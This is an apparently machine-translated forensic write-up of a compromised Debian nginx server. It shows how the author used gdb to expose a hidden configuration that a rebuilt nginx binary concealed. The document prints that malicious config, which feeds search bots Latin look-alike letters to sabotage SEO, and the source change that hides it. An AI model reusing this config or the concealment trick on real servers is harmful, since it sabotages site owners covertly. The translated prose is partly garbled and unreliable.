我的一位朋友发生了一件最不愉快的故事。 尽管这对米哈伊尔来说很不愉快，但对我来说却同样有趣。
我必须说我的朋友很 UNIX-user：可以自己安装系统 MySQL的, PHP 并进行简单的设置 nginx的.
他还有十几个或一个半网站专门介绍建筑工具。
其中一个专门介绍电锯的网站稳居搜索引擎的前列。 该网站是一个非商业评论者，但有人养成了攻击它的习惯。 那 DDoS攻击，然后是暴力，然后他们写下淫秽的评论并向主持人和 RKN 发送谩骂。
突然，一切都平静下来，而这种平静结果却并不好，网站开始逐渐离开搜索结果的前几行。
这是一句话，然后是管理员的故事本身。
快到睡觉时间的时候，电话铃响了：“阿三，你不看看我的服务器吗？ 在我看来，我被黑了，我无法证明这一点，但这种感觉已经第三周没有离开我了。 也许现在是我接受偏执症治疗的时候了？”
接下来是半个小时的讨论，总结如下：
- 黑客攻击的土壤非常肥沃；
- 攻击者可以获得超级用户权限；
- 攻击（如果发生）专门针对此站点；
- 问题区域已得到纠正，您只需了解是否存在渗透；
- 黑客攻击不会影响网站代码和数据库。
关于最后一点。
只有白色的前端IP才能放眼世界。 除了 http(s) 之外，后端和前端之间没有任何交换，用户/密码不同，没有交换密钥。 在灰色地址上，除 80/443 之外的所有端口均被关闭。 白色后端 IP 只有两个用户知道，而 Mikhail 完全信任这两个用户。
安装在前端 Debian 9的 当拨打电话时，系统已通过外部防火墙与外界隔离并停止运行。
“好吧，给我访问权限，”我决定推迟一个小时睡觉。 “我会亲眼所见。”
此处及进一步：
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
寻找可能的黑客攻击
我首先启动服务器 救援模式。 我安装磁盘并翻阅它们 授权-日志， 历史，系统日志等，如果可能的话，我会检查文件创建的日期，尽管我知道正常的破解者会在自己之后“扫荡”，而Misha在寻找自己时已经“踩踏”了很多次。
我从正常模式开始，还没有真正理解要寻找什么，我研究了配置。 首先，我感兴趣的是 nginx的 因为一般来说，前端除了它之外就没有其他东西了。
配置很小，结构良好，分为十几个文件，我只是浏览它们 猫'一一哦。 一切看起来都很干净，但你永远不知道我是否错过了什么 包括，让我做一个完整的清单：
$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful
我不明白：“清单在哪里？”
$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
清单问题中添加了第二个问题：“为什么要使用如此古老的 nginx 版本？”
另外，系统认为安装的是最新版本：
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all small, powerful, scalable web/proxy server
我打电话给：
- 米莎，你为什么要重新组合 nginx的?
- 等等，我什至不知道该怎么做！
- 好吧，那你去睡觉吧……
Nginx的 它显然是重建的，并且使用“-T”的列表的输出被隐藏是有原因的。 不再对黑客攻击有任何疑问，您可以简单地接受它并（因为 Misha 无论如何都用新服务器更换了服务器）认为问题已解决。
事实上，既然有人获得了权利 根'啊，那么这样做才有意义 系统重装，再去寻找那里出了什么问题也是没有用的，但这一次好奇心战胜了睡意。 我们怎样才能知道他们想向我们隐瞒什么？
让我们尝试追踪：
$ strace nginx -T
我们看了一下，痕迹里明显线条不够啊啦
write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
只是为了好玩，让我们比较一下结果。
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
我认为部分代码 /src/core/nginx.c
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
被转化为以下形式：
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;
или
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
因此不显示“-T”列表。
但是我们如何查看我们的配置呢？
如果我的想法是正确的并且问题仅出在变量上 ngx_dump_config 让我们尝试使用它来安装它 GDB，幸好有钥匙 --with-cc-opt -g 目前并希望优化 -氧气 它不会伤害我们。 同时，由于我不知道如何 ngx_dump_config 可以处理在 案例“T”：，我们不会调用这个块，而是使用它来安装它 案例“t”：
为什么可以使用“-t”和“-T”块处理 如果（ngx_dump_config） 发生在里面 如果（ngx_test_config）:
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "configuration file %s test is successful",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i < cycle->config_dump.nelts; i++) {
ngx_write_stdout("# configuration file ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
当然，如果代码在这部分改变而不是在 案例“T”：，那么我的方法就行不通了。
测试 nginx.conf已经通过实验解决了该问题，确定该恶意软件需要最低配置才能运行 nginx的 类型：
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
为了简洁起见，我们将在本文中使用它。
启动调试器
$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188 src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:
[Inferior 1 (process 32581) exited normally]
(gdb) quit
步骤：
- 在函数中设置断点 主（）
- 启动程序
- 更改决定配置输出的变量值 ngx_dump_config=1
- 继续/结束程序
正如我们所看到的，真实的配置与我们的不同，我们从中选择一个寄生部分：
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
让我们按顺序看一下这里发生了什么。
确定 用户代理的 yandex/谷歌：
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
服务页面不包括在内 WordPress的:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
对于同时符合上述两种情况的人
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
在文中 HTML- 页面更改 'O' 上 '哦' и 'A' 上 '一种':
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
没错，唯一微妙的是 '一个'！='一个' 以及 'o' != 'o':
因此，搜索引擎机器人接收的不是正常的 100% 西里尔文字，而是用拉丁语稀释的修改垃圾 '一种' и '哦'。 我不敢讨论这对搜索引擎优化有何影响，但这种混乱的字母不太可能对搜索结果的排名产生积极影响。
我能说什么，有想象力的人。
引用
来源： habr.com